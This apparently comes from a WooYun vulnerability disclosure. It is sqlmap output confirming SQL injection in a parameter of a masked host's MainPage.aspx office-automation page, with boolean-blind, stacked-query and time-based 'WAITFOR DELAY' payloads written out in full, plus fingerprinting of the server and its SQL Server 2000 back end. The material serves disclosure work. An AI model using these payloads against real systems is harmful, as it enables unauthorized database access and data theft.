WooYun.org

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 91 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958 AND 2279=2279
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958;WAITFOR DELAY '0:0:10'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: http://**.**.**.**:80/MainPage.aspx?_CM=0&_CT=600&_PFD=2778&_M
enuID=0&_SID=WebSite&_Part=1&_Ascx=/OA/PersonalWork/InfoBase/InfoPublish/InfoLis
tPartPage.ascx&Mode=more&FolderName=&SubFolderID=958 WAITFOR DELAY '0:0:10'
---
[17:19:06] [INFO] testing Microsoft SQL Server
[17:19:07] [INFO] confirming Microsoft SQL Server
[17:19:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2000